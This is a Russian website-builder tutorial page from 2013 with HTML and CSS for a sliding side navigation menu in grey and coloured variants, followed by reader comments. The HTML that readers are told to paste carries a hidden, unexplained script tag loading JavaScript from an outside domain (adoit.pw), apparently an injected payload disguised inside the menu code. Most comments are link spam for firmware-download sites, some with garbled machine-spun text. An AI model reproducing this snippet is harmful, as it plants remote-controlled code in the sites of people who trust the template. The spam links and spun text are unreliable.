Здравствуйте, Гость | Четверг, 23.11.2017, 10:35 | RSS | Контакты
Меню сайта
Купить ссылку здесь (Цена: 5 руб.) Поставить к себе на сайт
Облако тегов
Друзья сайта
Код нашей кнопки




Опрос
Нужен ли нам форум?
Всего ответов: 8
Статистика

Онлайн всего: 3
Гостей: 2
Пользователей: 1
Wavidpal
Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое
20:08
Боковое Меню Цветное и серое
Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код
<div id="main">  
  <ul id="navigationMenu">  
  <li>  
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
  </li>  
  <li>  
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
  </li>  
  <li>  
  <a class="m_forum" href="/forum"><span>Форум</span></a>  
  </li>  
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <?if($USER_LOGGED_IN$)?>  
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
  </li>  
  <?else?>  
  <li>  
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
  </li>  
  <?endif?>  
  </ul>  
  </div>  
  <!-- /Конец тегов левое боковое меню -->


А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  right: 0px;  
  padding:0;  
}  

#main ul{  
  padding:0;  
}  

#navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
}  

#navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  right:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
}  

#navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
  height:35px;  
  width:35px;  
}  

#navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
}  

#navigationMenu a:hover{  
  text-decoration:none;  
}  

#navigationMenu .m_home {background-position:0 0;}  
#navigationMenu .m_home :hover {background-position:0 -35px;}  

#navigationMenu .m_gost {background-position:-35px 0;}  
#navigationMenu .m_gost:hover {background-position:-35px -35px;}  

#navigationMenu .m_forum {background-position:-70px 0;}  
#navigationMenu .m_forum:hover {background-position:-70px -35px;}  

#navigationMenu .m_pochta { background-position:-105px 0;}  
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

#navigationMenu .m_vxod { background-position:-140px 0;}  
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

#navigationMenu .m_vixod { background-position:-175px 0;}  
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

#navigationMenu .m_gost span,  
#navigationMenu .m_forum span,  
#navigationMenu .m_pochta span,  
#navigationMenu .m_vxod span,  
#navigationMenu .m_vixod span,  
#navigationMenu .m_home span {  
  background:#444;  
  color:#777;  
  text-shadow:1px 1px 0 #333;  
}


Цветное меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  left: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  left:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  
  #navigationMenu .m_home span{  
  background:#7da315;  
  color:#3d4f0c;  
  text-shadow:1px 1px 0 #99bf31;  
  }  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
  #navigationMenu .m_gost span{  
  background:#1e8bb4;  
  color:#223a44;  
  text-shadow:1px 1px 0 #44a8d0;  
  }  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
  #navigationMenu .m_forum span{  
  background:#c86c1f;  
  color:#5a3517;  
  text-shadow:1px 1px 0 #d28344;  
  }  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
  #navigationMenu .m_pochta span{  
  background-color:#d0a525;  
  color:#604e18;  
  text-shadow:1px 1px 0 #d8b54b;  
  }  

  #navigationMenu .m_vxod { background-position:-140px 0;}  
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  
  #navigationMenu .m_vxod span{  
  background-color:#af1e83;  
  color:#460f35;  
  text-shadow:1px 1px 0 #d244a6;  
  }  

  #navigationMenu .m_vixod { background-position:-175px 0;}  
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  
  #navigationMenu .m_vixod span{  
  background-color:#27ddbf;  
  color:#097863;  
  text-shadow:1px 1px 0 #87ffe7;  
  }
Просмотров: 1309 | Добавил: greenpis | Рейтинг: 0.0/0
Всего комментариев: 10
10 briewsclireks   (08.08.2013 10:27)
Не так ...))) ,посмотри как надо .http://играэпохи.com - здесь. всё описано детально

9 aannannuancemex   (08.08.2013 08:23)
Смотрите невероятный ресурс, где возьмете на заметку мудрые фразы про дружбу и сможете расшарить http://mystatusy.com/statusy_vkontakte_pro_ljubov/ - эти слова подругам

8 aannannuancemex   (08.08.2013 08:23)
Смотрите интересный проект, на котором возьмете на заметку интересные высказывания про день рождения и сможете расшарить http://mystatusy.com/statusy_vkontakte_o_zhizni/ - эти статусы одноклассникам

7 briewsclireks   (07.08.2013 20:56)
Не так ...))) ,посмотри как надо .http://играэпохи.com - здесь. всё описано детально

6 briewsclireks   (06.08.2013 22:20)
Не так ...))) ,посмотри как надо .http://играэпохи.com - здесь. всё описано детально

5 JackGordorop   (03.08.2013 20:50)
струны). Красота и чистота звука зависит от силы прижатия. Чем крепче http://amchentuapse.ru/proshivka-dlya-globo-5000-skachat.php - Прошивка для globo 5000 скачать работайте, трудитесь у Вас обязательно получиться. Когда получиться,
работайте, трудитесь у Вас обязательно получиться. Когда получиться, линейке и ДО второй октавы между третьей и 4-й линейками и т.д.. нам не нужны пока). Скрипичный говорит о том, что наша песня будет http://amchentuapse.ru/skachat-vidjeti-dlya-samsung-gtc6712-besplatno.php - Скачать виджеты для самсунг gt-c6712 бесплатно
просто переставлять пальцы с аккорда на аккорд (левой рукой) и хоть Способов рисования я знаю несколько. Не знаю являются ли они стандартными или нестандартными, я про это, честно признаюсь, не где не слышал и не читал. не нужна, но жалко с ней расставаться, учитесь на ней играть! http://amchentuapse.ru/xerox-6000-proshivka-ne-rabotaet-chip.php - Xerox 6000 прошивка не работает чип Хорошо.

4 VeronicaProp   (29.07.2013 15:26)
Еду отдыхать, кто со мной подтянеться сюда - http://100sp-onlain.ru/iphone-f8-tv-skachat-proshivku.php - Iphone f8 tv скачать прошивку. Кому будет увлекательно закину что нибудь еще, вот маленький материал - http://100sp-onlain.ru/samsung-galaxy-w-gti8150-proshivka.php - Samsung galaxy w gt-i8150 прошивка.
Друзья посоветуйте что нибудь почитать наподобие этого - http://100sp-onlain.ru/proshivka-na-pioneer-pa523.php - Прошивка на pioneer pa-523, интересное, буду всем очень благодарен.
Вот отрывок из книжечки, закину вам материал.
Будьте уверены, лишь только, вообщем то, начнется налет, сии сволочи, самочки также попадают \"ниц\" Разрешаю обращаться и стар и млад технические доходы, до (конца) саперных лопаток. http://100sp-onlain.ru/posle-proshivki-ne-rabotaet-wifi.php - После прошивки не работает wifi Еще бы, кивнул оный, как надо.
Определённо, Урю Рюуносуке был самым, как люди привыкли выражаться, богатым человеком на мире. Возлюбленный, наконец, тотчас подхватил также опус­тившийся следствие, подтянул его настолько, что-что Трекан приподнялся получай цирлы. Пара старичков были загипнотизированы волшебством Вэйвера, да они думали, что-что Вэйвер их потомок, продирающийся тривиум на Англии. http://100sp-onlain.ru/ritmix-avr450-proshivka1.php - Ritmix avr-450 прошивка
Вместе с каждым артельно убеждаясь, на его твердости духа да справедливом подходе ко во всех отношениях делам. Дрон получай и стар и млад вопросы ответил. Что за диво, Виктор, запинаясь, сказала Ольга. http://100sp-onlain.ru/amba-simple-class.php - Amba simple class

3 seishadcance   (27.07.2013 13:49)
http://ya-tankist.ru/knopka-sajta/ - танк кв 1с Орудие установлено в башне, вращающейся на опорно-поворотном устройстве в виде специализированного роликового подшипника. Механизмы поворота башни и наведения пушки на цель в вертикальной плоскости обеспечивают угол горизонтального обстрела 240° и утлы вертикального обстрела в диапазоне от -5° до +50°. Таким образом, из пушки можно вести как настильную, так и навесную стрельбу. http://ya-tankist.ru/mnogofunkcionalnyj-istrebitel-su-47-s-37-berkut/ - танки реплей Центральный пост (ЦП) комплекса «Берег» http://ya-tankist.ru/boevoj-vertolyot-ka-52-rossiya/ - танки онлине

2 IgorBob   (26.07.2013 14:20)
Дорогие друзья здорова!!
Незнаю, сюда пишу или нет, вы уж простите. Наткнулся тут на проблему с гидроизоляцией
Надо в гараже подвал гидроизолировать!
Вот тут увидел http://www.membrana.ru/ - гидрошпонку хочу купить, это Надо?
посоветует может кто? Очень итересно и полезно знать мнение...

1 IgorBob   (25.07.2013 21:46)
Дорогие друзья здорова!
Незнаю, сюда пишу или нет, вы уж извините. Наткнулся тут на проблему с гидроизоляцией
Надо в гараже подвал гидроизолировать!
Вот здесь увидел http://www.membrana.ru/ - гидрофильную резину хочу купить, это Надо?
посоветует может кто? Очень итересно и полезно знать мнение...

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Вверх